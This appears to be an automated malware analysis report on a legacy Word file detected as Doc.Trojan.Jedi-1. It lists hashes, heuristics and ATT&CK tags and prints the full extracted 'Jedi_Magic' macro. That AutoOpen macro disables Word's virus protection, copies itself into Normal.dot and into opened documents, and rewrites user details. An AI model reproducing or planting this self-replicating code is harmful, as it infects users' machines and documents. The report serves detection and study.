Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66856124d3ae9717…

MALICIOUS

Office (OLE)

37.5 KB Created: 1995-09-20 14:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a65ffbbb280d6f36359101b2b96a0726 SHA-1: 11e8bffe2939d40208bebec2944664bb24d364d2 SHA-256: 66856124d3ae97170eb316462a4d589692b7a4596d55332b395e5d2f7452cf27
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a WordBasic AutoOpen macro. This macro attempts to copy itself to the Normal.dot template and modify application user details, indicating an attempt to establish persistence or modify the user environment. The presence of legacy macro markers and the specific macro name 'Jedi_Magic' suggest a known, albeit older, malicious pattern.

Heuristics 4

  • ClamAV: Doc.Trojan.Jedi-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jedi-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1356 bytes
SHA-256: 1a6bb1ddcb1860c1de56c907be4aaf4236409105a539945adcc19c6fcb8e2e4d
Detection
ClamAV: Doc.Trojan.Jedi-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Jedi_Magic"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 03/12/98 by Membership & Registry Division"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.Jedi_Magic.AutoOpen"
Options.VirusProtection = False
If Application.UserInitials <> "OBC" Then
    Application.OrganizerCopy Source:= _
    ActiveDocument.FullName, Destination:= _
    NormalTemplate.FullName, Name:="Jedi_Magic", _
    Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Save
    Application.UserName = "O.B.1. Canobi"
    Application.UserInitials = "OBC"
    Application.UserAddress = "EGG BARBERS ... Puki Buster!!!"
End If
For Each aVar In ActiveDocument.Variables
    If aVar.Name = "Force" Then num = aVar.Index
Next aVar
If num = 0 Then
    Application.OrganizerCopy Source:= _
    NormalTemplate.FullName, Destination:= _
    ActiveDocument.FullName, Name:="Jedi_Magic", _
    Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Variables.Add Name:="Force", Value:="567374-Joseph.A.D.G."
    ActiveDocument.Save
End If
End Sub